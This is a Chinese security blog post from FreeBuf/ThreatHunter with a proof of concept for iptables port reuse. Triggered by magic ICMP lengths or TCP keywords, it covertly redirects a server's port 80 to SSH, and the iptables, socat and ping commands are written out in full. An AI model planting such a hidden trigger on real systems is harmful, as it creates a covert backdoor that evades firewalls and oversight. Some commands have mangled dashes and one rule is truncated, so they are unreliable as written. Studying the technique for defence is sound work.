當前位置:
首頁 > 新聞 > 遠程遙控IPTables進行埠復用

遠程遙控IPTables進行埠復用

有一天坐地鐵的時候突然想到利用 iptables nat 表的 PREROUTING 鏈配合 REDIRECT 應該是可以達到埠復用的效果的。

比如在伺服器的 PREROUTING 鏈裡面加一條規則,將到本機 80 埠的流量 REDIRECT 到 22 埠,就算 80 埠正在被 Apache 監聽,此流量也能成功到達 22 埠,因為 nat 表的 PREROUTING 鏈會在路由決策之前被處理。

遠程遙控 IPTables 進行埠復用


現在的問題只有一個,如何區分到 80 埠的正常流量和「復用流量」? 正常的的 HTTP 流量應該讓它正常地發往 Apache,而「復用流量」應該前往 22 埠。答案也很簡單,只要「復用流量」有特徵就可以了。


當天晚上我簡單寫了一個 PoC 來驗證我的想法,如下:192.168.33.78 為虛擬機的 IP,虛擬機上用 python 在 80 埠啟動了一個 http 服務虛擬機上執行:



將發送本機 80 埠,源埠為 8989 的流量重定向至本機 22 埠/sbin/iptables -t nat -A PREROUTING -p tcp —sport 8989 —dport 80 -j REDIRECT —to-port 22


本地執行:



socat 監聽本地 2326 埠,接收到鏈接後,利用本地的 8989 埠將流量轉至虛擬機的 80 埠socat tcp-listen:2326,fork,reuseaddr tcp:192.168.33.78:80,sourceport=8989,reuseaddr &# SSH 連接本地 2326 埠,成功連接上了虛擬機的 SSH,同時本地正常用 curl 是能夠訪問到虛擬機的 80 埠的 HTTP 服務的ssh vagrant@127.0.0.1 -p 2326

效果圖:



以上是最初的 PoC。它有一個很明顯的問題是不支持多鏈接。 如果想創建兩個 SSH 鏈接就會出錯,因為本地的 8989 埠已經被第一個 SSH 連接佔用了。


今天我對這個方法進行了改進,不再用 source port 做為 「復用流量」 的標識,所以也就不再用 socat 來進行一次本地的轉發了。同時,加入了遠程遙控埠復用開關的功能。我這裡直接放出腳本代碼:


第一種方式:利用 icmp 做遙控開關。缺點在於如果目標在內網,你是無法直接 ping 到它的。



創建埠復用鏈iptables -t nat -N LETMEIN# 創建埠復用規則,將流量轉發至 22 埠iptables -t nat -A LETMEIN -p tcp -j REDIRECT —to-port 22# 開啟開關,如果接收到一個長為 1139 的 ICMP 包,則將來源 IP 添加到加為 letmein 的列表中iptables -t nat -A PREROUTING -p icmp —icmp-type 8 -m length —length 1139 -m recent —set —name letmein —rsource -j ACCEPT# 關閉開關,如果接收到一個長為 1140 的 ICMP 包,則將來源 IP 從 letmein 列表中去掉iptables -t nat -A PREROUTING -p icmp —icmp-type 8 -m length —length 1140 -m recent —name letmein —remove -j ACCEPT# let』s do it,如果發現 SYN 包的來源 IP 處於 letmein 列表中,將跳轉到 LETMEIN 鏈進行處理,有效時間為 3600 秒iptables -t nat -A PREROUTING -p tcp —dport 80 —syn -m recent —rcheck —seconds 3600 —name letmein —rsource -j LETMEIN


開啟復用前,WEB 是可以訪問的:


開啟復用ping -c 1 -s 1111 192.168.33.78向目標發送一個長度為 1111 的 ICMP 數據包(加上包頭28,總長度實際為1139)


關閉復用ping -c 1 -s 1112 192.168.33.78向目標發送一個長度為 1112 的 ICMP 數據包(加上包頭 28,總長度實際為 1140)


效果圖:



第二種方式:利用 tcp 數據包中的關鍵字做遙控開關,不怕目標在內網。



埠復用鏈iptables -t nat -N LETMEIN# 埠復用規則iptables -t nat -A LETMEIN -p tcp -j REDIRECT —to-port 22# 開啟開關iptables -A INPUT -p tcp -m string —string 『threathuntercoming』 —algo bm -m recent —set —name letmein —rsource -j ACCEPT# 關閉開關iptables -A INPUT -p tcp -m string —string 『threathunterleaving』 —algo bm -m recent —name letmein —remove -j ACCEPT# let』s do itiptables -t nat -A PREROUTING -p tcp —dport 80 —syn -m recent —rcheck —seconds 3600 —name letmein —rsource -j LETMEI


開啟復用,開啟後本機到目標 80 埠的流量將轉發至目標的 SSH,80 將無法再被本機訪問:echo threathuntercoming | socat - tcp:192.168.33.78:80


關閉復用,關閉後,80 恢復正常:echo threathunterleaving | socat - tcp:192.168.33.78:80


效果圖:


只要有特徵,就可以做為遠程遙控的標誌。我這裡只是想驗證一下自己的想法,所以用了我認為最簡單的兩種方法。其它方法希望大家自己挖掘,分享。


最後留一個小問題,如果在開啟 tcpdump 進行抓包的同時,利用 iptables 對數據包進行了更改,那 tcpdump 抓到的是更改之前的包還是更改之後的包呢? :)


說明:本文由 ThreatHunter 社區成員 n1nty 首發於 ThreatHunter 社區: 國內首個專註於高級威脅發現與安全數據分析的社區


*本文作者:n1nty,轉載請註明FreeBuf.COM

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

走近黑客僱傭市場:刀尖上「跳舞」,懸崖邊狂歡
國內外電商平台反爬蟲機制報告
韓國網路託管公司Nayana向勒索軟體黑客支付100萬美元

TAG:FreeBuf |

您可能感興趣

Link推出ePlug插頭,用Wifi遠程遙控控制家用電器
YellowScan公司的無人機用高密度、遠程LiDAR Surveyor Ul
看我如何通過Tor Onion在Windows中執行遠程Shell
Facebook暫停數據分析公司CubeYou的運營、NASA正在通過機器學習搜索遠程行星的望遠鏡數據
配置SAP Solution Manager連接監控遠程Microsoft SQL Server
Oracle WebLogic Server反序列化遠程代碼執行漏洞成焦點
支持HoloLens,AR遠程協同應用HoloMeeting發布
VRHealth推出遠程醫療VR平台支持Oculus Rift和Oculus GO
Magic Leap收購AR遠程會議技術商Mimesys
通過SSRF漏洞攻擊Docker遠程API獲取伺服器Root許可權
Mirai變成Miori:IoT殭屍網路通過ThinkPHP遠程代碼執行漏洞傳播
Windows遠程及本地運行Linux的GUI程序
Cisco ASA防火牆webvpn遠程代碼執行
Adobe Flash Player發布更新解決遠程代碼執行漏洞
Windows 上的 SSH?使用 PowerShell Remoting 遠程管理 Windows 伺服器
Magic Leap收購遠程協作平台開發商Mimesys
保時捷推出「Tech Live look」AR智能眼鏡旨在提供遠程協作
PS4 Remote Play登錄iOS平台,你可以使用iPhone/iPad遠程玩PS4遊戲了
愛普生髮布AR遠程協作應用Moverio Assist
ManageEngine Applications Manager 遠程代碼執行漏洞